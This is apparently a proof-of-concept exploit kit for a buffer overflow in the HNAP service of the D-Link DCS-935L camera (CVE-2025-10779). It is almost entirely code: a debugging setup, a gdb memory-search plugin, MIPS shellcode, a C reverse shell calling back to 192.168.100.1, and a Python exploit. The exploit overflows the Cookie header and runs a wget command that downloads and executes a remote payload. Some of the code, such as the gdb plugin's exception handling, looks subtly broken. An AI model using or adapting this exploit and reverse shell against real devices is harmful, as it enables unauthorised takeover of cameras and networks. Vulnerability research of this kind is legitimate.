D-Link DCS-935l | CVE-2025-10779

#!/bin/sh

export REQUEST_METHOD="POST"
export CONTENT_LENGTH="200"
export SOAP_ACTION="http://purenetworks.com/HNAP1/GetDeviceSettings"
export COOKIE="uid=Admin;$1"
export HNAP_AUTH="validhash 12345678"
# Execute the binary
/web/cgi-bin/hnap/hnap_service < /tmp/soap.xml

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
  </soap:Body>
</soap:Envelope>

./gdbserver_mipsbe :1234 ./wrapper.sh <A*200 times>

gdb-multiarch  -ex "set architecture mips" -ex "set mips abi o32" -ex "set follow-fork-mode child" -ex "set detach-on-fork off" -ex "catch exec" -ex "run" -ex "target remote 192.168.100.2:1234"

import gdb
import codecs

class FindMem(gdb.Command):
    """
    Search for a byte sequence across a large memory range, handling read errors.
    Usage: find_mem <start_addr> <end_addr> <pattern>
    Example: find_mem 0x7ffe3000 0x7fff8000 "wget"
    """
    def __init__(self):
        super(FindMem, self).__init__("find_mem", gdb.COMMAND_DATA)
                
    def invoke(self, arg, from_tty):
        args = gdb.string_to_argv(arg)
                
        if len(args) < 3:
            print("Usage: find_mem <start_addr> <end_addr> <pattern>")
            return
        try:
            start_addr = int(gdb.parse_and_eval(args[0]))
            end_addr = int(gdb.parse_and_eval(args[1]))
            raw_pattern = args[2]

            # Convert hex escape strings into actual bytes

            pattern = codecs.decode(raw_pattern, 'unicode_escape').encode('latin-1')
            inf = gdb.selected_inferior()
            total_size = end_addr - start_addr
            chunk_size = 4096  # Read page-by-page to avoid memory errors
            hits = 0
            print(f"[*] Searching for {pattern} ({len(pattern)} bytes)...")

            for addr in range(start_addr, end_addr, chunk_size):
                # Calculate remaining bytes to read in this chunk
                current_read_size = min(chunk_size + len(pattern), end_addr - addr)
                try:
                    mem = inf.read_memory(addr, current_read_size).tobytes()
                    offset = mem.find(pattern)
                    while offset != -1:
                        # Ensure we don't report a hit that bleeds past the end_addr
                        hit_addr = addr + offset
                        if hit_addr + len(pattern) <= end_addr:
                            print(f"[+] Found at: {hex(hit_addr)}")
                            hits += 1

                        offset = mem.find(pattern, offset + 1)
                    except gdb.MemoryError:
                    # Skip unmapped or protected pages
                    continue

            print(f"[*] Search finished. Total hits: {hits}")

        except Exception as e:
            print(f"[-] Error: {e}")
FindMem()

from pwn import asm, context, enhex

context.arch = "mips"
context.os = "linux"
context.endian = "big"

shellcode = """
/* --- 1. Get Zero and Base Pointer --- */
slti   $a2, $zero, -1       /* $a2 = 0 (envp) */
addiu  $t8, $sp, 0x1141     /* Base $t8 = $sp + 0x1141 */

/* --- 2. Store "/bin/sh" string (at sp+32) --- */
/* (sp + 4417) - 4385 = sp + 32 */
lui    $t1, 0x2f62
ori    $t1, $t1, 0x696e     /* "/bin" */
sw     $t1, -4385($t8)
lui    $t1, 0x2f73
ori    $t1, $t1, 0x682e     /* "/sh." */
sw     $t1, -4381($t8)
sb     $a2, -4378($t8)      /* Terminate -> "/bin/sh\0"*/

/* --- 3. Store "-c" string (at sp+40) --- */
li     $t1, 0x11ad
addiu  $t1, $t1, 0x1bb6     /* $t1 = 0x2d63 ("-c")*/
sh     $t1, -4377($t8)
sb     $a2, -4375($t8)      /* Terminate -> "-c\0" */

/* --- 4. Build Pointer Array (at sp+48) --- */
addiu  $a0, $t8, -4385      /* $a0 = ptr to "/bin/sh" */
sw     $a0, -4369($t8)      /* argv[0] */

addiu  $t1, $t8, -4377      /* $t1 = ptr to "-c" */
sw     $t1, -4365($t8)      /* argv[1]*/

/* Calculate pointer to wget command (sp + 216) */
/* (sp + 4417) + -4573 = ?. Offset: 0x44ab (No nulls!) */
addiu  $t1, $t8, -4573
/*sb     $a2, 17675($t8)      dummy */
sw     $t1, -4361($t8)      /* argv[2] */
sw     $a2, -4357($t8)      /* argv[3] = NULL */

/* --- 5. Final Syscall 4011 --- */
addiu  $a1, $t8, -4369      /* $a1 = argv pointer */
li     $v0, 0x112c
addiu  $v0, $v0, -385       /* $v0 = 4011 */
syscall 0x42424
"""

raw_shellcode = asm(shellcode)

print(enhex(raw_shellcode))

/* 
Compile with: mips-linux-gnueabi-gcc -static reverse_shell.c -o reverse_shell
*/

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = htons(4445); // Port for the actual shell
    addr.sin_addr.s_addr = inet_addr("192.168.100.1"); // Your IP

    if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) return 1;

    // Direct redirection: Socket -> Stdin, Stdout, Stderr
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    char *argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}

import struct
import requests

target_ip = "192.168.100.2"
url = f"http://{target_ip}/HNAP1/"
cmd = b"wget http://192.168.100.1/s -O /tmp/s;chmod +x /tmp/s;/tmp/s\x00"
shellcode = b"\x28\x06\xff\xff\x27\xb8\x11\x41\x3c\x09\x2f\x62\x35\x29\x69\x6e\xaf\x09\xee\xdf\x3c\x09\x2f\x73\x35\x29\x68\x2e\xaf\x09\xee\xe3\xa3\x06\xee\xe6\x24\x09\x11\xad\x25\x29\x1b\xb6\xa7\x09\xee\xe7\xa3\x06\xee\xe9\x27\x04\xee\xdf\xaf\x04\xee\xef\x27\x09\xee\xe7\xaf\x09\xee\xf3\x27\x09\xee\x23\xaf\x09\xee\xf7\xaf\x06\xee\xfb\x27\x05\xee\xef\x24\x02\x11\x2c\x24\x42\xfe\x7f\x01\x09\x09\x0c"


padding = b"A" * 162
ra = struct.pack(">I", 0x7FFF280C)
payload_1 = padding + ra
payload_2 = shellcode + cmd

headers = {
    "SOAPAction": payload_2,
    "Cookie": b"uid=Admin;" + payload_1,  # Triggering the strcpy at 004021b8
    "HNAP_AUTH": "valid_hash 12345678",  # Must exist to pass the 'if' at 004020f8
}

soap_body = """
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"></GetDeviceSettings>
  </soap:Body>
</soap:Envelope>
"""
try:
    requests.post(url, data=soap_body, headers=headers, timeout=5)
except requests.exceptions.ConnectionError:
    print("Target crashed! The overflow was successful.")

import sys

def to_escaped_hex(hex_string):
    # Ensure any stray spaces are gone
    hex_string = hex_string.replace(" ", "")
    # Prefix every two characters with \x
    escaped = "".join(
        [f"\\x{hex_string[i : i + 2]}" for i in range(0, len(hex_string), 2)]
    )
    return escaped[:-3]

if __name__ == "__main__":
    if not sys.stdin.isatty():
        input_data = sys.stdin.read()
        print(to_escaped_hex(input_data))
    else:
        print("Usage: echo <hex> | python3 convert.py")